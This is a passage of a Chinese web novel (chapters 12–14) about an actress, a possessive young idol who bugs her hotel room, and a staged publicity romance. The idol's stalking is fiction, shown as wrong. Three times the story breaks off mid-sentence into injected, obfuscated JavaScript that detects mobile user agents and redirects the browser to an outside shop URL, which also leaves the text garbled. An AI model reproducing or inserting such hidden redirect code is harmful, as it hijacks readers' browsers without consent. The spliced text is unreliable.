“很漂亮。”霍景宴的声音带着一丝不易察觉的沙哑,“这套礼服很适合你。” 尚知遥笑着说道:“谢谢霍总,这还要多亏您为我定制这么好看的礼服。”她故意加重“定制”两个字的语气,暗示自己知道他的用心。 霍景宴没再多说,只是打开车门,绅士地请尚知遥上车。 12. 第 12 章 车内光线柔和,空气里弥漫着淡淡的雪松香。 霍景宴将一份烫金封面的晚宴流程表递给她:“今晚的重点人物我都做了标注,你熟悉一下。” 尚知遥接过,快速浏览:“谢谢霍总,想得真周到。” “这是工作。”霍景宴目视前方,语气平淡,“当然,你也可以把它当成一次机会。” “我会的。”尚知遥笑了笑,“为了《知己》的宣传,也为了我自己。” 车子平稳地驶向晚宴场地。尚知遥看着窗外,思绪却飘回了酒店。 昨晚,她就发现了房间里那若有若无的“滋滋”声。 起初以为是幻觉,但当她靠近床头插座时,那声音就变得清晰。她没有声张,只是在心里记下了这笔账。 晚宴现场灯火辉煌,衣香鬓影。 水晶吊灯折射出璀璨的光芒,映在每一位宾客的脸上。 霍景宴带着尚知遥,游刃有余地穿梭在人群之间,精准地将她介绍给每一位重要人物。 "尚小姐,久仰大名。"李总举杯,"霍总可是很少亲自为一个演员引荐资源的。" "李总谬赞了。"尚知遥举杯回应,眼神清澈,"我只是努力演好每一个角色。" "努力的人值得被看见。"李总意味深长地笑了笑,"有空聊聊新电影的女主角?" "随时恭候。"尚知遥落落大方,眼底闪过一丝精光。 不远处,周向晨站在人群之外,手里端着一杯香槟,眼神却死死地盯着场内的尚知遥。他通过定位器和录音器,已经知道了今晚的一切。他甚至比她更早一步到达了这里,只为了能远远地看着她。 当他看到霍景宴为她引荐投资人,看到她与李总相谈甚欢时,他的手指在杯壁上一点点收紧,指节泛白。他想冲过去,想把她从那些人身边带走。但他知道,他不能。这里不是他能撒野的地方。 晚宴进行到一半,主持人宣布:"接下来,有请丰秋传媒的霍总上台致辞。" 掌声响起。霍景宴放下酒杯,低声对尚知遥说:"等我。" 尚知遥点头,目送他走上舞台。 聚光灯下,霍景宴穿着剪裁完美的黑色西装,身姿挺拔。他的声音沉稳有力:"感谢各位来宾今晚的光临。电影是光与影的艺术,更是人心的艺术。丰秋传媒将继续投资有温度、有深度的作品。今晚,我想向大家介绍一位有潜力的年轻演员——尚知遥小姐。她在《知己》中的表现令人期待。" 全场的目光瞬间聚焦到尚知遥身上。她从容地走上前,与霍景宴并肩站在舞台中央。 "尚小姐,能说几句吗?"主持人递过话筒。 尚知遥接过,微微一笑:"感谢霍总的厚爱。我相信,每一个角色都有自己的灵魂。作为演员,我的使命就是找到它,并用心诠释。希望未来能有机会与在座的各位前辈合作,向大家学习。" 她的声音不高,却字字清晰,带着真诚的力量。台下再次响起掌声。 就在这时,一个不合时宜的声音响起:"尚小姐,听说您是靠绯闻上位的?请问您有什么看法?" 人群中,一个记者模样的男人举着手机,挑衅地看着她。 现场气氛瞬间凝固。 尚知遥微微一怔,随即恢复了笑容。她没有回避,反而直视那人的眼睛:“这位先生,首先,我没有绯闻。其次,我相信作品是演员最好的名片。至于‘上位’,我理解为努力向上。如果这也算错,那我愿意一直错下去。” 她的回答赢得了一阵善意的笑声和掌声。 霍景宴不动声色地接过话筒,语气平淡却带着不容置疑的权威:“今晚是私人晚宴,不接受采访。请工作人员处理一下。” 很快,那名男子被请了出去。 回到台下,霍景宴看着尚知遥,眼神里闪过一丝赞赏:"应对得不错。" "谢谢霍总。"尚知遥轻轻吐了口气,"我只是实话实说。" "在这个圈子里,实话实说也是一种能力。"霍景宴顿了顿,"不过,你要学会保护自己。" "我会的。"尚知遥点头。 这时,李总端着酒杯走来:"尚小姐,刚才的回答很精彩。有时间详谈一下新电影吗?" "当然。"尚知遥微笑着,与李总走到一旁的休息区。 看着她从容应对的背影,霍景宴的眼神变得深邃。 在旁人眼里,尚知遥或是一颗冉冉升起的新星,或是一个臭名昭著的劣迹艺人,而在他眼里,她就像一条河,表面平静,深处却暗流涌动。 凌晨四点半,天色未亮,城市像一头沉睡的巨兽,呼吸悠长而沉重。 周向晨坐在自己狭小的公寓里,房间没开灯,只有笔记本电脑屏幕发出的幽幽蓝光,映在他年轻却紧绷的侧脸上。 他戴着耳机,音量调到很大,仿佛要将整个世界隔绝在外。耳机里传来的,不是音乐,而是一段段琐碎又私密的声音—— “……小棠,明天记得帮我带一杯美式,不要糖。” (纸张翻动的沙沙声) “……林薇的这句台词,应该再冷一点……” (一声极轻的叹息) 那是尚知遥的声音。从她的呼吸、停顿,到每一个字的尾音,都被他反复咀嚼,像是在品味一杯苦到极致却又让人上瘾的黑咖啡。 他的电脑旁,放着一个巴掌大小的黑色设备,屏幕上跳动着微弱的信号指示灯。 那是他几天前,趁尚知遥去片场、宋小棠下楼取外卖的间隙,溜进她酒店房间,安装在床头插座里的微型录音器。 起初,他只是想知道她在不工作的时候,会和谁说话,会想些什么。但很快,他发现自己沉迷其中。 她背台词时专注的语调,和宋小棠聊天时不经意的笑声,甚至是深夜翻书的沙沙声,都让他感到一种奇异的满足和安心。 他知道这不对,知道这是一种越界,一种近乎病态的窥探。 可每当他想停下时,耳机里她的声音就会像一根无形的丝线,将他牢牢缠住,让他无法呼吸,也无法挣脱。 屏幕上的音频波形突然变得活跃起来,他按下播放键,尚知遥略显疲惫却依旧温柔的声音流淌出来: “……最近总想吃点热的,城南那家老字号馄饨不知道还开不开……” 周向晨的眼睛瞬间亮了。 城南。老字号。馄饨。 他立刻摘下耳机,从椅子上弹了起来,动作快得像是怕这个念头会飞走。 他打开手机地图,搜索那家店,确认营业后,毫不犹豫地抓起外套和钱包。 凌晨五点,天刚蒙蒙亮,街道空旷,寒风凛冽。 他站在那家冒着热气的馄饨店门口,搓着手,排在第一位。 “小伙子,这么早啊,给女朋友买的?”老板一边麻利地包着馄饨,一边随口问道。 周向晨愣了一下,随即嘴角勾起一抹不易察觉的笑:“嗯,她喜欢吃。” 他提着沉甸甸的保温桶回到车上,坐在驾驶座上,看着窗外天色一点点变亮。 他想象着她吃到第一口时可能露出的表情,心里涌上一股难以言喻的满足感。 但这份满足感很快被另一种更强烈的情绪取代——占有。 他要让她知道,只有他,才能为她做到这些。只有他,才知道她的每一个小习惯,每一个小心思。 他低头看了看保温桶,又看了看副驾驶上的一个小盒子。那是他昨天刚买的,一个更新、更隐蔽的微型录音器。 ——该换了。旧的那个,已经不够保险。 上午九点,剧组。 尚知遥刚结束一场戏,正坐在房车后座卸妆。宋小棠推门进来,手里拿着一个保温杯:“遥姐,喝口水。” “谢谢。”尚知遥接过,抿了一口,目光不经意地扫过床头的插座。 昨晚,她就感觉到了。 房间里,总有一种若有若无的“滋滋”声,像是电流在低声呢喃。起初她以为是自己太累产生了幻觉,但当她刻意靠近插座时,那声音就变得清晰了。 她不动声色,但是心里已经猜到这是谁的好手段。 她轻轻放下水杯,嘴角勾起一抹意味深长的笑。 “咚咚咚。” 房车门外响起了敲门声。 “请进。” 周向晨推门而入,手里提着那个熟悉的保温桶,脸上挂着阳光无害的笑容:“知遥姐,早啊!” “向晨?”尚知遥有些意外,“今天这么早?” “刚结束晨练,路过看到粉丝送了这个,我吃不完,怕浪费,就给你送来了。”他说着,将保温桶放到桌上,眼神却不自觉地在她脸上停留,带着一丝急切的期待。 “粉丝送的?”尚知遥挑眉,眼底闪过一丝玩味,“那我可要好好谢谢这位粉丝。” 她打开保温桶,热气氤氲而出,香气扑鼻。她用勺子舀起一个,吹了吹,送入口中。 皮薄馅大,汤鲜味美。 她的眼睛亮了一下:“嗯,味道不错。” 周向晨的喉结不自觉地滚动了一下,眼神紧紧地锁住她的嘴唇,像是要将她每一个咀嚼的动作都刻进脑海里。 尚知遥将这一切尽收眼底,心里暗暗一笑。 “对了,”她像是突然想起什么,状似无意地说道,“最近总觉得房间里有电流声,可能是插座坏了。小棠说叫酒店来修,我看他们也挺忙的,就一直拖着。” 周向晨的脸色微不可察地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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下午的拍摄间隙,尚知遥在片场一角和饰演男配的演员对戏。 “你这句台词,情绪再收一点,”尚知遥耐心地给他讲戏,“尽量循序渐进,不要一下子全放出来。” “我明白了,谢谢尚老师。”男演员受教地点点头,努力调整着自己的状态。 不远处,周向晨正假装在和舞蹈老师讨论动作,眼角的余光却一直锁在尚知遥身上。 他看着她耐心地为别人讲戏,看着她和别人因为一个眼神、一个动作而默契地笑起来,一股难以遏制的嫉妒和烦躁在他胸口翻涌。 凭什么? 凭什么她要对别人这么好? 凭什么她的笑,不能只给他一个人看? 他的手指在身侧一点点攥紧,指节泛白。 趁着大家都在各自忙碌,他悄悄走到男演员的休息椅旁,目光快速一扫,看到了椅背上搭着的剧本。 他的眼神冷了下来。 就是它。 他装作不经意地拿起剧本,翻了两页,然后迅速将其塞进了旁边道具箱的夹层里。 做完这一切,他若无其事地走回原位,脸上依旧挂着人畜无害的笑容。 “哎?我的剧本呢?”几分钟后,男演员的声音在片场响起,带着一丝焦急。 “我刚刚还放在这儿的……”他四处翻找着,额头上渗出了细汗。 “可能是被场务收错了吧?”周向晨适时地走了过来,语气里带着关切,“要不要我帮你一起找?” “那太好了,谢谢你!”男演员像是抓住了救命稻草。 “没事,大家都是同事,互相帮忙应该的。”周向晨笑得很真诚,眼神里却没有一丝温度。 他“热心”地帮着找了一会儿,然后装作突然想起什么:“对了,刚刚我好像看到道具组的人从这边经过,可能放到仓库里去了。你先别着急,我们再问问。” “好,好。”男演员被他安抚住了情绪,暂时停下了寻找。 尚知遥看着这一幕,嘴角勾起一抹几不可察的弧度。 她走了过去,对男演员说:“没关系,我们先别找了。剧本我记得,我们先把情绪走一遍,等会儿再找也不迟。” “这……这能行吗?”男演员有些犹豫。 “相信我。”尚知遥给了他一个鼓励的眼神。 两人并肩走到一旁,尚知遥一句句地帮他回忆台词,耐心地引导他进入角色。 不远处的监控室里,周向晨正站在屏幕前,眼睛死死地盯着监视器上的画面。 画面里,尚知遥正低着头,耐心地和男演员说着什么。她的侧脸柔和,眼神专注,像是全世界只剩下他们两个人。 周向晨的眼睛一点点眯起,眼底的阴鸷和狠厉几乎要冲破他温和的伪装。 他的手背上青筋暴起,指关节因为用力而发出轻微的“咔咔”声。 【报告宿主,周向晨好感度+4(当前61%)。】 房车的化妆镜前,尚知遥正对着镜子补口红。听到系统的提示音,她抬起头,看着镜中的自己,嘴角勾起一抹意味深长的笑。 13. 第 13 章 夜色温柔,微风拂过,片场的灯光一盏盏熄灭。 尚知遥结束了今天的最后一场戏,卸下沉重的头饰,长长地舒了一口气。 刚走到房车门口,周向晨就迎了上来。 他没有像往常那样阳光地笑着,而是低着头,像是在酝酿什么。 “知遥姐,你终于收工了。”他的声音有些闷,“你和那个男配演员是什么关系?为什么对他那么好……” 尚知遥停下脚步,转过身看着他。 “对不起姐姐,我只是……我不喜欢你和他走得太近……我是说,他和你又不熟,你们……” 片刻的沉默后,她忽然伸出手,轻柔地摸了摸他的头,像是在安抚一只炸毛的小动物。 “首先,”她的声音很轻,却带着不容置疑的温柔,“我要表扬你。” 周向晨抬起头,眼睛里满是疑惑。 “你虽然自己有情绪,但也没有打扰我工作,而是等到工作结束后再来向我表达。”她顿了顿,嘴角微微上扬,“这一点,做得很好。” 听到“表扬”两个字,周向晨的眼神瞬间亮了起来,整个人都松了口气,像只得到主人夸奖的小狗,尾巴都快摇起来了。 “但是——”尚知遥话锋一转,眼神变得认真,“我很疑惑。” 周向晨的心又提了起来。 “你是以什么身份来要求我?”她直视着他的眼睛,一字一句地问,“我跟谁交往,如何交往,跟你又有什么关系?” 这句话像一盆冷水,瞬间浇灭了周向晨所有的热度。 他整个人都蔫了下去,像被霜打过的茄子,肩膀垮了下来,眼神也暗了。 看着他这副失魂落魄的样子,尚知遥心里忽然有些不忍。 这个年纪的喜欢,直白又笨拙,带着少年人特有的热烈和占有,虽然令人困扰,却也纯粹得让人无法真正生气。 她叹了口气,语气放软:“我休假的时候会动物园。” 周向晨愣住了,不明白她为什么突然说这个。 尚知遥弯起眼睛,像是在说一个秘密:“你知道吗?孔雀求偶的时候,都会开屏呢。” 周向晨眨了眨眼。 “可如果总是躲在暗处,”她意味深长地看着他,“那谁会看得见你呀?” 空气安静了几秒。 周向晨的脑子像生锈的齿轮,慢慢转动起来。他反复咀嚼着“开屏”“暗处”“看见”这几个词,眼睛一点点亮了起来。 他猛地抬起头,看着尚知遥,呼吸都变得急促:“那……姐姐是愿意给我机会了?” 尚知遥只是笑,没有说话。 周向晨却像是得到了全世界的许可,整个人瞬间满血复活。 他兴奋地手脚都不知道该如何摆放了,语无伦次地说着: “太好了知遥姐!你放心,我一定会努力的!我会让你看到我的好!我会……我会……” 他激动得不知道说什么好,最后只是开心地抱了她一下,然后立刻松开,像是怕自己冒犯了她。 “我会让你看到我,不会再躲在暗处了!”他郑重其事地宣布,眼睛里闪烁着少年人特有的光芒,干净、热烈、充满希望。 看着他这副阳光灿烂的样子,尚知遥也忍不住笑了。 “很晚了,回去休息吧。”她柔声说道。 “嗯!好!”周向晨用力点头,像个得到糖果的孩子,一步三回头地离开了。 看着他消失在夜色中的背影,尚知遥嘴角的笑意慢慢敛去,眼神变得深邃。 【系统提示:周向晨好感度+3(当前64%)。风险等级略微下降(由“极高”降至“高”)。】 “下降了吗?”尚知遥勾起嘴角,“只是换了一种方式而已。” 她回想自己刚才说的所有话,确定没有任何直白表明自己想法的言辞,忍不住笑着叹息了一声。 周向晨这个人,有时隐约表现出的狠厉和占有欲令人心惊,可是像刚才这样的时候,却天真得像个还在上学的孩子。 要泡这样的一个男人,真是让人感到趣味无穷。 次日清晨,剧组。 阳光透过车窗洒进房车,尚知遥伸了个懒腰,从床上坐起。 她拿起手机,习惯性地浏览剧组的工作群。 一条置顶消息引起了她的注意。 周向晨:“各位老师早上好!今天我给大家准备了早餐,在一号休息区,大家记得吃哦!” 下面是几张照片:一排排整齐的早餐盒,三明治、牛奶、水果,搭配得营养均衡,还贴心地标注了“素食”和“无乳糖”选项。 群成员A:“哇!向晨你也太贴心了吧!” 群成员B:“谢谢向晨老师!今天一定元气满满!” 群成员C:“向晨弟弟太帅了!” 尚知遥挑了挑眉,嘴角勾起一抹意味深长的笑。 “开屏了。”她在心里说。 房车门口,周向晨正指挥着几个练习生把早餐从车上搬下来。他穿着一身干净的白色T恤,额前的碎发被风吹得有些凌乱,脸上挂着阳光的笑容。 看到尚知遥,他眼睛一亮,快步走了过来,手里还提着一个粉色的餐盒。 “知遥姐!早啊!”他将餐盒递过来,“这是我给你单独准备的,里面是你喜欢的低糖酸奶和草莓。” 尚知遥接过,打开一看,果然是她喜欢的牌子。 她抬头看了他一眼,意味深长地笑了笑:“看来你做了不少功课。” “嘿嘿。”周向晨挠挠头,有些不好意思,“我只是……想让大家都看到,我是一个值得信赖的人。” “哦?”尚知遥挑眉,“大家吗?” 周向晨的脸微微一红,眼神有些闪躲:“当……当然,也包括你。” 尚知遥笑了笑,没有拆穿他,只是拿起酸奶喝了一口:“味道不错。谢谢你,向晨。” 听到她的感谢,周向晨像是受到了极大的鼓舞,整个人都变得更加精神了。 “知遥姐,你今天有两场戏对吧?我看了通告单,中午那场戏有雨戏,我已经跟道具组说了,让他们准备好保暖的姜汤了!” “你很用心。”尚知遥看着他,眼神里带着一丝探究,“不过,你这么做,不怕别人说你‘讨好’大家吗?” “不怕。”周向晨很认真地摇头,“我只是想让大家开心,让大家看到我的努力。以前我总是……在背后做一些事情,但后来我想明白了,喜欢一个人,就应该光明正大地站到她面前,让她看到我的好。” 他顿了顿,眼神坚定地看着尚知遥:“知遥姐,我会用我的方式,让你看到我的真心。” 尚知遥看着他,没有说话。 【系统提示:周向晨好感度+1(当前65%)。】 上午的拍摄很顺利。周向晨忙前忙后,一会儿帮场务搬东西,一会儿给演员递水,一会儿又跑去和导演沟通拍摄细节,像个不知疲倦的小太阳,感染着周围的每一个人。 中午拍的是雨戏,道具组提前准备好了雨棚和姜汤。拍摄结束后,周向晨第一时间端着一碗姜汤跑到了尚知遥面前。 “知遥姐,快喝点姜汤,暖暖身子。”他小心地吹了吹,“有点烫,慢点喝。” 尚知遥接过,喝了一口,温热的感觉从喉咙一直暖到了胃里。 她抬眼看了看他,他正专注地看着她,眼神里满是关切。 “谢谢。”她轻声说道。 “不客气!”周向晨笑得像个孩子,“只要你开心,我做什么都愿意。” 尚知遥的心里微微一动。 这个少年,确实有让人无法拒绝的魅力。 他的喜欢,像阳光一样炙热,毫无保留地照耀着你,让你无处可逃。 但她也清楚,阳光太烈,也会灼伤人。 下午,剧组临时加了一场戏。尚知遥和一位年轻的男演员有对手戏。 休息间隙,那位男演员拿着剧本走了过来,有些不好意思地说:“尚老师,我对这段戏有点不太理解,您能帮我看看吗?” “当然。”尚知遥很爽快地答应了。 两人找了个安静的角落,开始对戏。 尚知遥耐心地给他讲戏,告诉他哪里需要收,哪里需要放,哪里的情绪需要更饱满。 不远处,周向晨正站在监视器后面,看着这一幕。他的手握得很紧,指节泛白,但脸上依旧挂着笑容。 他深吸一口气,努力让自己平静下来。 “只是正常的工作交流而已。”他在心里对自己说,“我要让她看到,我比任何人都好。” 他转身离开了监视器,去了道具组。 “道具组的老师,明天那场戏的道具准备好了吗?我想亲自确认一下。” “早就准备好了,向晨老师,你放心吧。” “我还是看看吧。”周向晨认真地说,“我想确保万无一失。” 傍晚,拍摄结束。尚知遥正准备回酒店,周向晨叫住了她。 “知遥姐。”他有些犹豫,“明天……你有空吗?” “明天?”尚知遥想了想,“上午有一场戏,下午没什么安排。怎么了?” “我……我想请你去一个地方。”周向晨看着她,眼神里带着一丝期待,“一个能让你开心的地方。” “哦?”尚知遥挑眉,“什么地方?” “暂时保密。”周向晨卖了个关子,“你只要知道,我一定会让你看到一个不一样的我。” 尚知遥看着他,沉默了几秒,然后点了点头:“好。明天下午,给我一个惊喜。” “太好了!”周向晨兴奋得差点跳起来,“知遥姐,你放心,我一定会让你满意的!” 看着他雀跃的背影,尚知遥的眼神变得深邃。 “不一样的你?”她在心里冷笑,“我倒要看看,你能拿出什么新花样。” 次日下午,周向晨如约而至。他穿着一件浅蓝色的衬衫,搭配一条白色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564978|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休闲裤,整个人看起来干净又清爽。 “知遥姐,我们走吧。” “好。”尚知遥点点头,跟他上了车。 车子驶出市区,向郊外开去。 一路上,周向晨都显得有些兴奋,时不时地和她聊一些轻松的话题,讲一些他上学时期的趣事。 尚知遥安静地听着,偶尔笑一笑,眼神里却始终带着一丝探究。 大约一个小时后,车子停在了一个马术俱乐部的门口。 “这里?”尚知遥有些意外。 “嗯。”周向晨点点头,眼神里带着一丝期待,“不知道你有没有玩过,但我想……你应该会喜欢骑马。” 尚知遥挑了挑眉,没有说话。 他们走进俱乐部,工作人员热情地迎了上来。 周向晨熟练地和工作人员交流着,显然是这里的常客。 “知遥姐,你以前骑过马吗?” “骑过几次。”尚知遥回答。 “那太好了!”周向晨眼睛一亮,“这里有几匹性格很温顺的马,我带你去看看。” 他们来到马厩,周向晨牵出一匹毛色乌黑发亮的马,对尚知遥介绍道:“它叫‘夜色’,是这里最聪明的一匹马。” 尚知遥走上前,轻轻抚摸着马的鬃毛。夜色很温顺,用头蹭了蹭她的手心。 “它很喜欢你。”周向晨笑着说。 “它只是喜欢我的手。”尚知遥纠正道。 周向晨愣了一下,随即笑了起来:“知遥姐,你真幽默。” 换上骑马装备,在教练的指导下,他们牵着马来到了户外的跑道。 夕阳西下,金色的余晖洒在跑道上,给一切都镀上了一层温暖的光晕。 周向晨翻身上马,动作干净利落。他回头看了尚知遥一眼,伸出手:“知遥姐,我来带你。” 尚知遥看着他伸过来的手,沉默了几秒,把手放了上去。 周向晨用力一拉,将她拉到了自己前面,让她坐在了马鞍的前面。他从后面环住她,双手握住缰绳。 “准备好了吗?”他的声音在她耳边响起,带着一丝兴奋。 “嗯。”尚知遥轻轻应了一声。 夜色迈开了步子,慢慢地跑了起来。风从耳边呼啸而过,带着青草和泥土的清香。 尚知遥的心跳,莫名地快了几分。 她能感觉到身后周向晨的胸膛,结实而有力,他的呼吸就在她的耳边,带着少年人特有的热度。 “知遥姐。”周向晨忽然开口,声音很轻,“我会一直在你身边,保护你,支持你。我会让你看到,我不是一时兴起,我是真的……很喜欢你。” 尚知遥没有回头,只是轻轻“嗯”了一声。 “知遥姐,”周向晨鼓起勇气,声音有些颤抖,“你……可以试着喜欢我吗?” 风,忽然停了。 尚知遥的心跳,也在这一刻停了一拍。 她沉默了很久,才缓缓开口,声音很轻,却带着一丝不容置疑的坚定: “向晨,喜欢不是乞求来的,也不是感动来的。喜欢是两个人的事。” 她顿了顿,继续说道:“我看到了你的努力,也看到了你的改变。这很好,但我需要时间。” “时间?”周向晨的眼睛亮了起来,“你是说,我还有机会?” 尚知遥没有回答,只是轻轻笑了笑:“夜色累了,我们回去吧。” 周向晨愣了一下,随即反应过来,脸上露出了灿烂的笑容:“好!” 回到俱乐部,天色已经完全暗了下来。周向晨送尚知遥到门口,眼神里满是不舍。 “知遥姐,今天……你开心吗?” “很开心。”尚知遥点点头,“谢谢你,向晨。” “不客气!”周向晨笑得像个孩子,“只要你开心,我就满足了。” 尚知遥看着他,忽然觉得,这个青涩的少年比她想的还要有趣。他的喜欢虽然笨拙,却很真诚。 “向晨。”她忽然开口,“你最近……没有再做那些……奇怪的事情了吧?” 周向晨的身体僵了一下,随即明白了她指的是什么。他的脸色瞬间变得有些苍白,眼神里带着一丝慌乱。 “我……我没有!”他急忙否认,“我知道那些事情是不对的,我已经……我已经删掉了所有的东西,我发誓,我不会再那样做了!” 尚知遥看着他,眼神里带着一丝审视。 “我希望你记住今天说的话。”她的声音很轻,却带着一丝警告,“喜欢一个人,不是占有,更不是控制。” “我知道!”周向晨用力点头,眼神里满是真诚,“我会用正确的方式,让你看到我的真心。” “好.”尚知遥点点头,“我相信你。” 说完,她转身走进了夜色中。 周向晨站在原地,看着她的背影消失,嘴角露出了一个坚定的笑容。 【系统提示:周向晨好感度+2(当前67%)。】 14. 第 14 章 拍摄进程过半,《知己》进入宣发阶段,网上不知什么时候掀起了一股双女主cp的风。 化妆师给尚知遥上妆时会刷着手机笑“遥姐你看你和程跃的视频又上热门了”,连场务见到她俩偶尔在一起待着,都会露出了然于心的微笑。 尚知遥是在某个午后的休息间隙,才真正意识到这股“双女主CP风”刮得到底有多猛。 宋小棠端着热可可进来时,她正无意识地划着手机屏幕,原本是想刷两条行业新闻看看最近的影视政策,结果点开短视频APP,第一个推送的视频就带着#知己双女主好嗑#的热搜词条,标题赫然写着“恶女动心瞬间!尚知遥看程跃的眼神藏不住了”。 视频开头是上周拍的教学楼对手戏,原剧情里林薇(尚知遥饰)把秦素(程跃饰)堵在走廊角落,台词该是带着敌意的“你以为他真的喜欢你?他只是把你当替身”,但剪辑手加了0.5倍速慢放,镜头死死盯着尚知遥垂在身侧的手。 那只手原本该攥紧拳头表现愤怒,却因为她前一晚练戏太用力,指关节还带着红痕,此刻微微蜷着,倒像是在克制什么。 而程跃饰演的秦素,原本该露出害怕的表情,却因为灯光角度的巧合,眼底泛着水光,看起来竟带着点委屈的依赖。 背景音配的是首甜向情歌,副歌部分刚好卡在两人眼神交汇的瞬间,弹幕瞬间炸了: “啊啊啊这是什么眼神拉丝!” “林薇你就嘴硬吧!明明很在意秦素!” “谁懂啊!恶女的克制比直白的喜欢更戳我!” 尚知遥挑了挑眉,指尖没停,下一个视频来得更快。 这次是片场路透,拍摄时间是上周六的清晨,她穿着单薄的戏服站在寒风里背台词,牙齿冻得微微打颤。 镜头从她身上移开,拍到不远处的程跃。 她裹着厚厚的羽绒服,手里拿着个暖手宝,眼神却一直落在她这边,过了几秒,她像是忍不住了,伸手拉了拉助理的衣角,说了句什么,助理点头后快步走向尚知遥,递过来一杯热姜茶。 视频配文是“程姐的暗戳戳关心,谁看到了?”评论区里CP粉已经开始狂欢: “呜呜呜程跃好会!知道遥姐不好意思要,就让助理送!” “这是什么双向奔赴的细节!” “我宣布‘尚程’CP是今年内娱最甜!” 她接着划,第三条视频是品牌活动的同框片段。 那天她被记者围着追问“霸凌程跃”的传闻,话筒快怼到脸上,她只能保持微笑应对。 镜头角落里,程跃站在不远处的背景板旁,手里攥着个香槟杯,原本该是“受害者”姿态,却没看镜头,反而一直盯着她的方向,手指无意识地摩挲着杯壁,表情复杂得像是在担心。 剪辑手特意把这段放大,加了“她在看她”的字幕,下面立刻有粉丝评论: “程跃根本不是被霸凌!她明明很担心遥姐!” “之前的传闻肯定是假的!不然程姐怎么会这么关心她!” 第四条更离谱,连两人半年前参加不同综艺的片段都被剪到了一起。 尚知遥在访谈里被问“喜欢什么样的合作对手”,她回答“认真、不划水的,能带动我入戏的”; 程跃在另一个选秀综艺里被问“想和什么样的前辈合作”,她笑着说“希望能和有实力、愿意教我的前辈合作”。 剪辑手把这两段拼在一起,中间加了个“双向奔赴”的转场特效,评论区瞬间被“磕疯了”刷屏: “原来她们早就互相欣赏了!” “这是什么命中注定的缘分!” “我不管,这就是官宣前的铺垫!” 尚知遥越看越觉得荒谬,刚想退出APP,宋小棠凑过来递了块热乎的红糖糕,看到她手机屏幕上的视频,立刻笑出了声:“遥姐你也刷到啦?现在网上全是你俩的CP视频,还有好几个大粉开了超话,叫‘上乘’CP超话,昨天还上了热搜前十呢!” “怎么回事?”尚知遥把手机递过去,指尖敲了敲屏幕,“谁先开始剪这些的?我记得我们没放这么多花絮出去啊。” 宋小棠接过手机,手指在屏幕上点了点某个营销号的头像,神神秘秘地压低声音:“遥姐你忘啦?是颖姐安排的呀!你之前不是提了个方案上去吗?颖姐雷厉风行,找了几家靠谱的营销号,先放了点剧组日常花絮试水,没想到网友这么买账,现在不用我们推,路人自己就开始剪视频、扒细节了,还有粉丝去超话里整理‘糖点合集’,比我们自己做的还详细。” “嘘——”尚知遥赶紧打断她,眼神飞快扫了眼房车门口,确认没人路过才松了口气,“小声点,别让剧组其他人听见。尤其是程跃那边,本来就不愿意炒CP,要是让她知道是我们主动推的,又该闹脾气了。” 宋小棠吐了吐舌头,赶紧把声音压得更低,像只偷吃东西的小松鼠:“我知道我知道!颖姐特意交代过要保密,还说程跃那边也没反对,她团队主动给营销号发了点程跃的单人花絮,让营销号剪的时候多突出她‘温柔小白花’的人设,说是‘互相成就’。” 尚知遥端起热可可喝了一口,温热的液体滑过喉咙,心里却门儿清。 程跃团队哪里是“不反对”,分明是也想借这波热度。 程跃出道快两年,一直靠“清纯小白花”人设圈粉,但没什么拿得出手的代表作,路人缘平平,之前还因为“演技僵硬”被吐槽过。 这次借着《知己》的双女主CP,既能蹭上尚知遥的热度——哪怕是黑红热度,又能立“温柔善良”的人设,她团队没理由拒绝。 只是尚知遥没料到,程跃会用这么“直白”的方式表达她的“不自在”。 第二天下午三点多,尚知遥正在拍一场和男主的对手戏。 她刚拍完一条,正裹着毛毯擦头发,就看见宋小棠慌慌张张地跑过来,凑到她耳边低声说:“遥姐,程老师来了,就在片场入口呢。” 尚知遥愣了一下,程跃的戏份早就拍得差不多了,按剧组的计划,这半个月她都不用来剧组,顶多拍点补拍镜头。 她顺着场务指的方向望去,果然看见程跃站在片场入口的遮阳棚下。 程跃穿着一身米白色的连衣裙,外面套着件浅粉色的针织开衫,脸上化着精致的淡妆,头发打理得一丝不苟,但脸色却青得吓人,像是刚跟人吵过架。 她手里攥着个精致的皮包,指节都泛了白,眼神直直地盯着尚知遥,那目光里没有平时的柔和,满是警惕和不满,像是被踩了尾巴的猫,浑身的刺都竖了起来。 尚知遥对着她笑了笑,还扬了扬手算是打招呼,结果程跃像是没看见一样,立刻转过头去跟身边的助理说话,声音压得很低,但尚知遥还是隐约听到了“怎么这么多视频”“不是说只是试水吗”“现在这么多cp粉,我怎么收场”之类的抱怨,语气里满是委屈和烦躁。 等尚知遥拍完这场戏走过去时,程跃正靠在道具箱上刷手机,屏幕亮着,赫然是她俩的CP视频。 正是那条“程跃让助理给尚知遥送姜茶”的路透,程跃的手指在屏幕上狠狠戳了戳,嘴里念念有词:“什么暗戳戳关心,我只是让助理送杯茶而已!” 见尚知遥过来,程跃手忙脚乱地把手机按黑,像是被抓包的小偷,猛地站起身就想走,嘴里还念叨着“我就是来拿点东西,马上就走,不耽误你们拍戏”。 “小程别急着走啊。”尚知遥快走两步拦住她,从宋小棠手里拿过一瓶刚温好的热咖啡递过去,语气自然得像是平时聊天,“刚看你脸色不太好,是不是没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 